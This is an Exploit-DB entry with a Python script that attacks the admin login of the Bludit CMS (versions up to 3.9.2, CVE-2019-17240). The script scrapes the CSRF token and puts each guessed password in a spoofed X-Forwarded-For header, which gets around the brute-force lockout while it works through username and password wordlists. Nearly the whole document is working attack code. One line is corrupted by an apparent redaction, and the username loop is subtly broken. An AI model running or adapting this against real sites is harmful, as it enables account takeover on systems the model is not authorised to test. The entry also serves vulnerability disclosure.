Exploit-DB #48942
Description: Bludit 3.9.2 - Auth Bruteforce Bypass
Type: webapps
Platform: php
Date: 2020-10-23
Author: Mayank Deshmukh

Exploit:
#!/usr/bin/python3

# Exploit
## Title: Bludit <= 3.9.2 - Bruteforce Mitigation Bypass
## Author: ColdFusionX (Mayank Deshmukh)
## Author website: https://coldfusionx.github.io
## Date: 2020-10-19
## Vendor Homepage: https://www.bludit.com/
## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
## Version: <= 3.9.2

# Vulnerability
## Discoverer: Rastating
## Discoverer website: https://rastating.github.io/
## CVE: CVE-2019-17240 https://nvd.nist.gov/vuln/detail/CVE-2019-17240
## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
## Patch: https://github.com/bludit/bludit/pull/1090

'''
Example Usage:
- ./exploit.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt 
'''

import requests
import sys
import re
import argparse, textwrap
from pwn import *

#Expected Arguments
parser = argparse.ArgumentParser(description="Bludit <= 3.9.2 Auth Bruteforce Mitigation Bypass", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
./exploit.py -l http://127.0.0.1/admin/login.php -u /Directory/user.txt -p /Directory/pass.txt'''))                     

parser.add_argument("-l","--url", help="Path to Bludit (Example: http://127.0.0.1/admin/login.php)") 
parser.add_argument("-u","--userlist", help="Username Dictionary") 
parser.add_argument("-p","--passlist", help="Password Dictionary")    
args = parser.parse_args()

if len(sys.argv) < 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")          
    sys.exit(1)  

# Variable
LoginPage = args.url
Username_list = args.userlist
Password_list = args.passlist

log.info('Bludit Auth BF Mitigation Bypass Script by ColdFusionX \n ')

def login(Username,Password):
    session = requests.session()          
    r = session.get(LoginPage)
 
# Progress Check    
    process = log.progress('Brute Force')

#Getting CSRF token value
    CSRF = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)
    CSRF = CSRF.group(1)

#Specifying Headers Value
    headerscontent = {
    'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Referer' : f"{LoginPage}",
    'X-Forwarded-For' : f"{Password}"
    }

#POST REQ data
    postreqcontent = {
    'tokenCSRF' : f"{CSRF}",
    'username' : f"{Username}",
    'password' : f"{Password}"
    }

#Sending POST REQ
    r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)

#Printing Username:Password            
    process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))            

#Conditional loops    
    if 'Location' in r.headers:
        if "/admin/dashboard" in r.headers['Location']:
            print()
            log.info(f'SUCCESS !!')
            log.success(f"Use Credential -> {Username}:{Password}")
            sys.exit(0)
    elif "has been blocked" in r.text:
        log.failure(f"{Password} - Word BLOCKED")
        
#Reading User.txt & Pass.txt files
userfile = open(Username_list).readlines()
for Username in userfile:
    Username = Username.strip() 
   
passfile = open(Password_list).readlines()
for Password in passfile:
    [CREDENTIAL_REDACTED].strip()   
    login(Username,Password)